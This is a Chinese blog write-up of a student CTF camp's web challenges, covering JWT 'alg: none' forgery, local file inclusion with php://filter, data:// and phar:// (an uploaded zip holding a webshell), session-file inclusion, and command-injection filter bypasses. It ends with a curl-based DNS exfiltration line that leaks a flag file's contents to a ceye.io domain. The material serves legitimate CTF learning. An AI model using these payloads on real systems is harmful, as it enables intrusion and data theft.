御林夏令营 basic(1)

梦开始的地方

Basic

1、Http

Pass me GET parameter “key1”, let key1 be YulinSec
首先先直接在url修改 -> http://101.35.209.40:44505/?key1=YulinSec

Pass me POST parameter “key2”, let key2 be “YulinSec”
然后用Burp将Get转换成POST,在Body parameters处添加上 key2=YulinSec

You must come from “YulinSec://127.0.0.1”
在Headers处添加上 Referer: YulinSec://127.0.0.1 修改来源

You must be admin!
在Cookie处的 admin=0 表示非管理员,需将 0 改为 1 ,即 admin=1

Solved!

补充总结:

CTF中常用的http知识点总结

2、302

重定向,抓包后用Repeater重新发出去,获得重定向链接以及答案

Solved!

3、Encode

四个字符串直接解码(虽然不知道第一串用什么编码,但是可以猜是 Yulin )

Solved!

4、Method

http有很多种Method,那么将Get改为其他的尝试
最后可知将 Get 改为 OPTIONS

Solved!

5、Calc-1

发现只能输入一个数字,打开F12,看到 maxlength 大小为 1,
改为2,填 66 后提交

Solved!

6、Calc-2

打开F12,发现 check()函数返回值为 false,在console处(控制台)重新写一个 check() 并返回 true,回答问题
发现还是不行,打开上一题对比一下,可以发现上一题是 name=”result” ,而这一题是 id=”result” ,改成和上一题一样,回答

Solved!

7、回答不够快,考虑直接用python写脚本回答

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
import time

service = Service("E:\Software\chromedriver\chromedriver-win64\chromedriver.exe")
brower = webdriver.Chrome(service=service)

url = "http://101.35.209.40:44504/"
brower.get(url)

//获取算式,用 F12 可以知道是 <p></p> 中的内容
content = brower.find_element(By.TAG_NAME, "p").text
result = eval(content) //计算
print(result)

brower.find_element(By.XPATH, "/html/body/form/input[1]").send_keys(result) //填写答案
brower.find_element(By.XPATH, "/html/body/form/input[2]").click() //点击提交

time.sleep(5)
//获得 Flag 并查看

Solved!

8、Https

You must be admin!

没有什么突破口,好像只有一个token,用base64解码后,有JWT、iat、jti、exp等字样,上网学习,得知是 jwt 一种token的加密方法

首先将 admin 的值改为 1

继续学习,发现可以将 Headers 中的 alg 的值改为 “none” ,表示不使用加密,然后令 signature 部分(第三部分)置空

最后两部分分别encode即可(注意最后的点要点上!!)

Solved!

【Basic】 全部解决

【Local File Inclusion】

LFI-1、

flag就在在当前目录的flag.php文件中

直接在 url 后面加上 ?file=flag.php 来访问同目录下的 flag.php 文件

LIF-2、

访问 /?file=flag.php -> tips:flag在当前目录的某个文件中

尝试访问该目录中的文件

利用 Burp 抓包,在 GET 请求 body 加上 来列出目录中文件,发现 flag_754297461.txt 这个文件比较可疑

直接在 url 后面加上 ?file=flag_754297461.txt 来访问文件

LFI-3、

重复 T2 的操作,发现 php://input 没法用了,尝试用 data:// 来访问该目录中的文件

data:// 的操作为,在 url 后加上 ?file=data://,

即直接在 url 中加上 php 代码

发现 flag_21843732549.txt ,访问得到 flag

LFI-4、

访问 flag.php 文件,说 flag 就在这里,但没有显示,阅读学习资料后得知

“要将内容进行编码 base64 后显示,再自己解码”

在 url 后加上 ?file=php://filter/read=convert.base64-encode/resource=flag.php

表示访问 flag.php ,并用 base64 解码

得到字符串后再自己解码

LFI-5、

LFI-6、

上传图片马(图片+一句话木马),接着可以用 php://filter 来执行图片中的代码

但是!!! php://filter 被加到黑名单里了,用不了

.htaccess 文件也上传不了(用来更改特定类型文件的处理方式,使其被当作PHP代码执行)

最后问学长才知道用 jpg 图片是做不了的!!!

卡了半天,重新开始

发现还能传输 zip 文件,那么可以试着在zip文件里放个php文件,然后用 zip:// 或者 phar:// 来访问运行

注意是在 index.php 中运行!!!!

http://101.35.209.40:21005/index.php?file=phar://uploads/56ac2dfd390daf37419ed473a8d709aa.zip/1

然后就和上面一样了

LFI-7、

首先观察主要的代码,发现 session_start() ,要用 session包含漏洞 来做

首先我们需要传入 Cookie,以此来创建一个 sess_… 类的文件,这个文件中的 username 可以理解为可执行的php代码,所以我们需要在 url 中传入 a,其值为一句话木马

最后访问这个 sess 文件就可以找到 flag 的文件了

Session 文件包含漏洞

【Local File Inclusion】 全部解决

RCE

RCE-0

先看看当前目录有什么 101.35.209.40;ls

发现没有什么重要的,往上翻一层 101.35.209.40;cd ..;ls

没有发现flag,继续往上翻 101.35.209.40;cd ..;cd ..;ls

继续 101.35.209.40;cd ..;cd ..;cd ..;ls ,发现 flag_3124131231 文件

101.35.209.40;cd ..;cd ..;cd ..;cat flag_3124131231 即可

注意:

所以尽量多用 ‘;’ ,因为不知道会出现些什么奇怪的错误

RCE-1

输入过滤了&|;

查找资料,发现可以使用 %0a ,但是需要在 Request 里使用

然后就和上一题差不多了

RCE-2

过滤了好多字符 -> ” ‘ \ $ ` ? – [ ]

过滤了几个指令 -> cat ls

STFW

这种方式主要是针对文件名那几个字符被过滤时可以使用,就是用?或者*来代替具体的字符
但一定注意这是针对文件名的哈,命令是肯定不能直接这么用的,但linux下命令其实也是文件
比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造:
ls -> /bin/l?
cat -> /bin/c??
像preg_match("/.*f.*l.*a.*g.*/", $ip)这种flag字样都是被过滤了的,我们用通配符就很好用:
cat /flag -> /bin/ca? /????

试了一下好像只有 /bin/c?? 有用

根据前几题的经验,可以知道 flag 文件所在位置,庆幸的是 cd 可以使用,并且 flag 也没有被加入黑名单

;cd ../;cd ../;cd ../;type flag_*

(这个 type 其实是 Windows 系统中能输出文件内容的命令,是我看错了拿来用的(((,没想到 Linux 下真的有个同名的命令,作用是显示指定命令的类型,但我看也可以用来显示文件名(((误用))

可以得到 flag 文件名为 flag_12312321

然后就 ;cd ../;cd ../;cd ../;/bin/ca* flag_12312321

虽然说满屏乱码,但是查找一下可以发现 flag 在最后

RCE篇之命令执行中的各种绕过

RCE-3

过滤了好多字符 -> / ” ‘ $ ` – [ ]

过滤了几个指令 -> cat ls

发现 / 被过滤了,有点难办,继续 STFW

偶然发现

那就和上一题一样,得到 flag 的文件名

稍微试了一下发现 sort (用于输出)可以使用,那就直接搞得到 flag

(话说上一题和上上题好像在给我提示说用 url编码 和 base64编码 (()

RCE-4

稍微试了以下,好像无回显

;ls;sleep 5 发现网页在加载,sleep 命令确实有执行,证明确实无回显

然后就是 STFW

RCE绕过之无回显

有前几题可以知道 flag 文件位置,尝试用写入的方法,但是失败了

创建文件后文件无法访问,会不会是被删除了,还是命令被过滤了

反正写入这条路是走不通了,看看其他方法

发现 Ⅵ.DNS请求 比较好懂,试试这个

利用 curl 命令.域名 这个操作,获得回显(只会显示第一行,会替换掉“中的内容)

那就简单了,直接 ;curl cd ../;cd ../;cd ../;cat flag_*.abcdef.ceye.io (此处链接使用自己的 Identifier )

获得输出

【RCE】 全部解决

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇